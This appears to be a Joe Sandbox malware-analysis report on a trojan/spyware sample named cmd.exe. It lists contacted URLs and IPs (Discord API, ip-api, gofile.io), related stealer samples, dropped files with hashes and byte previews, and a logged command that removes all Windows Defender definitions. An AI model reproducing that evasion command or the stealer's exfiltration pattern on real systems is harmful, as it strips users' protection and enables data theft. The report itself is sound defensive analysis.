https://www.google.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	cmd.exe, rar.exe.0.dr	false		high
http://crl.comodo	cmd.exe, 00000001.00000003.2093290332.000001C91692B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097775097.000001C91692B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
https://contoso.com/License	powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v9/users/	cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip-api.com/line/?fields=hostingr;	cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ip-api.com/json/?fields=225545r	cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	cmd.exe	false		high
https://github.com/urllib3/urllib3/issues/2920	cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC	cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.bellmedia.c	cmd.exe, 00000001.00000002.2100068134.000001C917A74000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	cmd.exe, 00000001.00000002.2096563852.000001C916813000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServerr;r	cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.28.dr	false		high
https://login.microsoftonline.com	cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A58000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://html.spec.whatwg.org/multipage/	cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ifeng.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.128.233	discord.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561562
Start date and time:	2024-11-23 19:43:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	86
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cmd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@135/56@2/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 99% Number of executed functions: 95 Number of non-executed functions: 148
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 172.217.17.67, 2.18.109.164
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, gstatic.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 7516 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7484 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8300 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: cmd.exe

Simulations

Behavior and APIs

Time	Type	Description
13:44:06	API Interceptor	118x Sleep call for process: powershell.exe modified
13:44:08	API Interceptor	2x Sleep call for process: svchost.exe modified
13:44:09	API Interceptor	5x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	z81zEuzkJPHHV3KYua.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Listing_error_15_code_file-002.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Listing_error_15_code_file-002.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	NeftPaymentError_details__Emdtd22102024_jpg.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Wire slip account payable.pif.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	ip-api.com/line/
	file.exe	Get hash	malicious	JasonRAT	Browse	ip-api.com/json/?fields=11827
	Fulloption_V2.1.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	BoostFPS.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	New_Order_Inquiry.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
162.159.128.233	file.exe	Get hash	malicious	LummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRAT	Browse	discord.com/phpMyAdmin/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	z81zEuzkJPHHV3KYua.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Listing_error_15_code_file-002.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Listing_error_15_code_file-002.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	NeftPaymentError_details__Emdtd22102024_jpg.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Wire slip account payable.pif.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	http://christians-google-sh-97m2.glide.page/dl/d0a5f4	Get hash	malicious	Unknown	Browse	208.95.112.2
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	208.95.112.1
	file.exe	Get hash	malicious	JasonRAT	Browse	208.95.112.1
	Fulloption_V2.1.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	BoostFPS.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
discord.com	spacers.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	EternalPredictor.exe	Get hash	malicious	Blank Grabber, Skuld Stealer, XWorm	Browse	162.159.128.233
	program.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	162.159.138.232
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse	162.159.137.232
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	file.exe	Get hash	malicious	CStealer	Browse	162.159.138.232
	B78DGDwttv.exe	Get hash	malicious	SilverRat	Browse	162.159.135.232
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse	162.159.137.232
	cDRgXaadjD.exe	Get hash	malicious	SilverRat	Browse	162.159.128.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	z81zEuzkJPHHV3KYua.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Listing_error_15_code_file-002.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Listing_error_15_code_file-002.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	NeftPaymentError_details__Emdtd22102024_jpg.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Wire slip account payable.pif.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	http://christians-google-sh-97m2.glide.page/dl/d0a5f4	Get hash	malicious	Unknown	Browse	208.95.112.2
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	208.95.112.1
	file.exe	Get hash	malicious	JasonRAT	Browse	208.95.112.1
	Fulloption_V2.1.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	BoostFPS.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
CLOUDFLARENETUS	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse	104.22.0.204
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	172.67.20.8
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.223.140
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI72642\VCRUNTIME140.dll	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse
	meN9qeS2DE.exe	Get hash	malicious	XWorm	Browse
	client1.exe	Get hash	malicious	Unknown	Browse
	qbE2mhhzCq.exe	Get hash	malicious	Blank Grabber	Browse
	UwOcZADSmi.exe	Get hash	malicious	AsyncRAT	Browse
	IyWKJMlCXg.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Python.Stealer.1545.20368.28754.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	JdHvcxG4Up.exe	Get hash	malicious	Unknown	Browse
	souFnS89FP.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073754776961999
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrX:KooCEYhgYEL0In
MD5:	078074DD21AE3EA3C2141F30C129130C
SHA1:	4B390B0B388F735AEA1FFC2237D5ACBCA58475E2
SHA-256:	78345203239883277B905126AB288BA8C036187BF0959F23B747BB2E71082125
SHA-512:	BC2A10C5AEE5E65D9F78184706FF2C1CCA1F3634A0E30947404AF2E2BE8435B0491E443A644A8D7D1EA24B7C372B83BDF779652A58B1007DEB76954F0CFCE993
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa9146506, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221940938823745
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	478E16E0DCDEEBCB6F19E1277A7774BD
SHA1:	8E181321C1A2BBBDD281020EFE34D6028819542A
SHA-256:	DCF2B45C19E7FA8B3674DC572273E8FBF1D1949F7B3904E5CEB2966CAEB008F2
SHA-512:	2FF0E2C5B6D61516FE44159F8D6A77A1986D52E6654EC538970AE4A8D7AC265EB7E2CBAB6907815847F510033D912A04E66F6B960A95CE0B1DC61234AB278701
Malicious:	false
Preview:	..e.... .......A.......X\...;...{......................0.!..........{A..,...\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.......................................,...\|...................D...,...\|#..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0768593488031834
Encrypted:	false
SSDEEP:	3:PyYeaPilhvejjn13a/+p73yuitlAllcVO/lnlZMxZNQl:KzPhGj53q+p7cAOewk
MD5:	547A6FDACE5DDA75CB5AD9B592E1CD79
SHA1:	5965540050FD9B5347E16BD9162E45B5C3CCC64E
SHA-256:	997F210C7BE39C537266EB8BB48BAD4E25B3E046415A5FD28E3B42E3F4C1F493
SHA-512:	73CEAE18BDC48B22026E25F0F5E920E595CAEF322C1F7546D7144D385CA03B17059605F00EE5802A6D6EE7A92F6C21231A87DE554377B46B4CC18F926F240CBE
Malicious:	false
Preview:	+........................................;...{...,...\|#......{A..............{A......{A..........{A].................D...,...\|#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\? ?\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	708675
Entropy (8bit):	7.927404647883676
Encrypted:	false
SSDEEP:	12288:9yl1CfYKs9fNtva50jvNVqzE2cpTzufAo1YVJYJ22wpS6c1P705VwH0F7Mpx+i79:9ylIbQtvnTNVqzzcpTy1YVJv2wpqP70q
MD5:	5EA6EB9286574EEA1B18CFA8861CDE9B
SHA1:	3025097DC968EC64738E3AECBD64C2C1C97393FB
SHA-256:	522CCB7D718E32C2DD5DDACBA2FBCFE285020EA19F631A1504990BA0DD5C4CD4
SHA-512:	A3CEEAC00FB9E5A323F4A3401DEFA60459F8139CFD0862CD41A94F5C566357FF9CE2BCA618CC2E959B5424C468FD290893D0FA3D098B8CEFBE9EBA4F396B6BD1
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....e....Y.......Lw..#.t......y.o.n..%....w.U....@B......@.A.e.P.....r..Fx.. .}...;.u.7.@V..{.....E....i.N.9.....B.ln.....V...i3C.T..Y.L...:.~.p..(...+h.}.....3v.....K..=....(...>az.......jL.+...{z..Z..@..+..I....cGO..QO.e....O6}..5......N..7.M....M../=:....Hi....+h..i.:......Jc..p...=....[?...l.)0.....>}.....h...1....../z2^0...W\|.....c...i......?.9....v..?....1c..'3.........9..Y...X.r..}.j...?.w..}...a\|.;'..=.e....nKs..g...I.........+.}@.s..Z.`...=nM.=.=nI...-.5c6?.{.=,n.....a.yh.zsF..nib...#......4....b.......96o....]-g....R...7...nL..oH....}..v.{...\|....X.\|k...<.y.Y...y..........]...8...4wG.....6..u....6..KoI.w.}..si..`.}..6...&.....lwMfl.S{.......Z...2......._KK....Y....5..X.9...[.[_.a..u....yC..%Wd......]....L.Gll..]..il.+r..v....f.7.~.>.]b..>h/..._bk.....Z..lny.^..7..Z....q..[.wn1.O...%...e9...9.\].k1..i..6....,F;

C:\Users\user\AppData\Local\Temp\DBdXv.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	698334
Entropy (8bit):	7.999714852048684
Encrypted:	true
SSDEEP:	12288:MVIOn835AyRimlBu9gMHC9tXkSjESYfJTrRyTf2Kgg24Y0gdLf/Wp+RHZoN4UsDr:zOn835DimlBu9HCvkSjExfJPRy00gxfp
MD5:	CD2B19752D898B27F891D8A71A08E704
SHA1:	962299F9D6AD60CF20572534BAA746F1C065DBC4
SHA-256:	14F285FB9D3A4E137013710D94FCF612E65DFA859187ED8F621860A14EF0E6FD
SHA-512:	710067991C6496AC727530D67D4FF45C8B79A2D53FA88EF92754F775EFE06D5135BB2A25BC353935A71EEBBF8B83D0CF913BD4EC8057A8A939BE10F97933F905
Malicious:	true
Preview:	Rar!........!.......3.).F.B.5.$..DT\.?...D../...O..0{.wq...A.....pO....7..E._68.....u.A..,..&..j..l..y..6..=.U..y.%.c...?...G0....2..moB5.xV...J.,.........M.N.j.#...w....n.................. N.#/b.....O.S.R..m.$!...V.J.>0........v.....2..IM.i9..l=..s.Lob..M.mP...v.'..X&l.El...z.j^.25.v.F.e..SG}.....$\|.....sIpp.{0..I..U.....] ..qm..%..i....L...`..wq;]......).s.u..Q.m...2.rq...eAN........4..P>....$............ AHg....N..($.o.I...Q..`S.Y....>9...#....0.....s..H".;.I..X........H..t..9...E]g.S.'.....?.......#.Q.../.%../LG&tm.......u.2.H...3...../..a.......3p.qF...t....Ft.$[..y.....;........;..6/...`..YA..b..8.."n..'.....g....t`..?'......B....2C8..X2.R......HT.9..IJ$.^.I..._}..2......W..`.@...q!..YC&S.....I....,V.<..&..=.......3O..NS.lS.v[w* ....4.....\|....N..........uU..{D.t.;..I=.2.v.o...^.$.L...0Tc.......F...k........*.`kv..G.[...J...q..>.G9.>....y.......pz...o<...~\|Q.M...D.>.!./3....b$..:4{...;....d!0k..+......u.1`.c..U...U,.x. .2

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1167319285887203
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrZA7k9+MlWlLehW51IC4AW:QOaqdmOFdjrZ+kWResLI7
MD5:	C86ADFEDF6E325BDA1F55DC5A0664148
SHA1:	C7172E77444AE1EBE001A0B13FC05775538A4615
SHA-256:	EE86A413B13D1A620407065D875496D26774DC7D5FA9DAE011B91269887D512E
SHA-512:	0100BBB3873603197A10E4F7DEB8E27FB400D688FBBAF5FA7B4849012E918F2254D946360FBA80E7D663263087151CE36843325CF238D56838D7C86F8CF50DB8
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. S.a.t. .. N.o.v. .. 2.3. .. 2.0.2.4. .1.3.:.4.4.:.2.6.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. S.a.t. .. N.o.v. .. 2.3. .. 2.0.2.4. .1.3.:.4.4.:.2.6.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RES74CA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Sat Nov 23 20:38:33 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.132599337169319
Encrypted:	false
SSDEEP:	24:HNFq9s+filNDfHuwK9GofkNWI+ycuZhNc+akSffPNnqS+d:tgi/tKDk41ulc+a3f9qSe
MD5:	91B39F033F70CCB7C191263CA09EC79E
SHA1:	87A52802FCD18A89EA1DD1F943FC66BC455694D1
SHA-256:	780BE71647DD424CF21E3C298C450AE54AA14BB96942401C4B30E5683B424A48
SHA-512:	84D9930A417311BBD05FD3A4B15AFF4C7606882EBD0DE0A5BDF1F4B7F9DC5E2BCBF2E70388E00071F9E1501A57B2C8C7EE25E2765C3AB524D9893946CA6C9697
Malicious:	false
Preview:	L...I=Bg.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........T....c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP................N.`..K.\|...(.............4.......C:\Users\user\AppData\Local\Temp\RES74CA.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.c.d.u.5.f.i.i...d.l.l.....(.....L.e.g.a.

C:\Users\user\AppData\Local\Temp\_MEI72642\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\cmd.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.643764685776923
Encrypted:	false
SSDEEP:	1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5:	870FEA4E961E2FBD00110D3783E529BE
SHA1:	A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
SHA-256:	76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
SHA-512:	0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
